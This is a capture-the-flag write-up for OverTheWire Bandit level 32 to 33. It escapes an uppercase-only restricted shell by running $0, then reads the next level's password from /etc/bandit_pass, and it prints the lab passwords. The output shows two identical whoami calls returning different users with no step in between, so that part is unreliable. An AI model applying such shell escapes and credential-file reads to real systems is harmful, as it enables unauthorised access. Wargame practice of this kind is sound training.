Bandit Level 32 → 33
Login: ssh bandit32@bandit.labs.overthewire.org -p 2220
Password: 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K
task
After logging in, you are greeted by the "UPPERCASE SHELL." Every command you enter is converted to uppercase before execution, leading to "Permission denied" errors because Linux commands are case-sensitive (e.g., LS is not the same as ls). You must find a way to escape this restricted shell and read the password for level 33.
theory lil bit
- Positional Parameters: In shell scripting,
$0is a special variable that holds the name of the script or the shell currently being executed. - Shell Escape: If you are trapped in a restricted environment that processes your input, calling the shell itself (
$0) can sometimes spawn a new, unrestricted sub-shell. - Environment Variables: The uppercase shell logic likely wraps your input in a way that handles standard strings, but it may fail to sanitize or transform shell special variables.
- Case Sensitivity: Linux file systems and binaries are case-sensitive. The goal is to regain access to lowercase commands.
solution
# Log in and encounter the Uppercase Shell
┌──(sssubhammm ⌘ macbook-air)-[~]
└─$ ssh bandit32@bandit.labs.overthewire.org -p 2220
WELCOME TO THE UPPERCASE SHELL
>> ls
sh: 1: LS: Permission denied
>> PWD
sh: 1: PWD: Permission denied
# Escape the shell using the $0 variable
# Since $0 is a variable, the shell expands it to the path of the current shell (sh)
# before the 'uppercase' logic can break the command name.
>> $0
# We are now in a standard Bourne Shell (sh)
$ whoami
bandit32
# Note: The level 32 binary is often setuid bandit33.
# Escaping it gives us the privileges of the next user.
$ whoami
bandit33
# Read the final password
$ cat /etc/bandit_pass/bandit33
tQdtbs5D5i2vJwkO8mEyYEyTL8izoeJ0
okay so now lets login into bandit 33, since its the last level we dont have password for next level.
bandit33@bandit:~$ ls
README.txt
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!
At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.
If you have an idea for an awesome new level, please let us know!
bandit33@bandit:~$
`
